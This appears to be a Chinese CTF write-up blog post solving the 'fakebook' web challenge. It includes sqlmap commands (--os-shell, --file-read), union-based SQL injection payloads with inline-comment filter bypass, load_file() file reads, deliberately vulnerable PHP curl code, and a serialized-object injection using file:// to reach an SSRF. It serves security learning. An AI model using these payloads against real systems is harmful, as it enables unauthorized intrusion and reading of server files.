fakebook wp /ssrf/php伪协议

前言

  • 快速完成fakeboook题目的2中方法
  • ssrf+注入+php伪协议做题知识积累

2种方法快速做题

前提:目录扫描dirmap扫出web目录。如下:

一、sqlmap直接获取flag

1、Join界面是post提交方法,保存,用sqlmap跑一下,别人的想法是查数据,我是想直接上shell(笑哭);代码及报错如下:

 python sqlmap.py -r d:\a.txt --os-shell
报错显示出web主目录/var/www/html ;这里我的思路是直接用sqlmap读取flag.php;   
payload:python sqlmap.py -r d:\a.txt --file-read "/var/www/html/flag.php" -v 1

去文件夹下查看

 

 二、MySQL数据库函数load_file()读文件(看评论的方法,tpl)

在view界面中有参数no,测试下其安全性

no =1 and 1=1  //正常显示页面

no =1 and 1=2  //页面显示错误;有注入

 
no=-1 /*!union*/ /*!select*/ 1,2,3,4#         //-1,因为页面没有-1这个参数,页面报错或不显示,只显示我们后面代码,减少干扰;有过滤,采用内联注释可以过掉(我到现在还不知道过滤的代码在哪,如何实现,懂的大佬欢迎指教。
将1,2,3,4位置换成version(),database()等,判断显示位置,结果显示2位置有显示
view.php?no=-1 /*!union*/ /*!select*/ 1,database(),3,4#

 

这时候呢就可以用MySQL中的load_file()函数来读取内容了

no=-1 /*!union*/ /*!select*/ 1,load_file('/var/www/html/flag.php'),3,4#

 

ssrf+注入+php伪协议

思路:后台代码对输入的blog参数,进行了正则过滤,否则的话直接在blog中输入file:///var/www/html/flag.php,就能得到flag文件;但是我们可以结合上面的注入漏洞,讲file协议存入数据库中,从而绕过正则。

介绍

file://:用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响,file://还经常和curl函数(SSRF)结合在一起;当代码没有对url进行过滤时,我们传入 file伪协议  payload:/index.php?action=album&pid=file:///var/www/html/flag.php,可以直接读取服务器内容, SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统.

 1 <?php
 2  //创建一个新cURL资源
 3 $ ch = curl_init ();
 4 
 5 //设置URL和相应的选项
 6 curl_setopt ($ ch ,CURLOPT_URL ,$_GET['url'] ); //不安全带代码
 7 curl_setopt ($ ch ,CURLOPT_HEADER ,false );  
 8 
 9 //抓取URL并把它传递给浏览器
10 curl_exec ($ ch );
11 
12 //关闭cURL资源,并释放系统资源
13 curl_close ($ ch ); ?>

上手

robots.txt下/user.php.bak代码,分析

 1 <?php
 2 
 3 
 4 class UserInfo
 5 {
 6     public $name = "";
 7     public $age = 0;
 8     public $blog = "";
 9 
10     public function __construct($name, $age, $blog)
11     {
12         $this->name = $name;
13         $this->age = (int)$age;
14         $this->blog = $blog;
15     }
16 
17     function get($url) //$url未进行任何过滤
18     {
19         $ch = curl_init(); //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。
20 
21         //设置URL和相应的选项
22         curl_setopt($ch, CURLOPT_URL, $url);
23         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
24         
25         //抓取URL并把它传递给浏览器
26         $output = curl_exec($ch);
27         $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
28         if($httpCode == 404) {
29             return 404;
30         }
31         curl_close($ch);
32 
33         return $output;
34     }
35 
36     public function getBlogContents ()
37     {
38         return $this->get($this->blog);
39     }
40 
41     public function isValidBlog ()
42     {
43         $blog = $this->blog;
44         //对博客格式进行正则限制
45         return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
46     }
47 
48 }

sqlmap跑出数据库中存储格式;(具体的不写了,常规操作)先后得到数据库fakebook,表users

python sqlmap.py -r d:\a.txt --dump -D fakebook -T users --columns

 思路分析过程:我们得知数据库中存的是我们输入的username,passwd,age,blog,的序列内容,我们要拿到flag,就要通过文件读取来拿,也就是blog这个位置,此时我们知道在blog这个位置写入能帮助我们拿到flag的代码,将其序列化即可;上文介绍PHP伪协议中file://协议可以读取服务器本地文件,所以payload只要在blog写入file:///var/www/html/flag.php

序列化代码如下:

 

 

序列化如下:

 

 

 

payload如下:

 

 

payload:no=-1 /*!union*/ /*!select*/ 1,2,3, 'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

 拿到flag

总结

  • 清楚的了解了ssrf的原理及应用(以前还半知半解)
  • 各种漏洞的联合利用
  • PHP伪协议的大用处(准备积累一篇PHP伪协议的文章)

 

 

 

 

 

 

 

 

 

posted @ 2020-06-14 11:24  ~Wal  阅读(689)  评论(1)    收藏  举报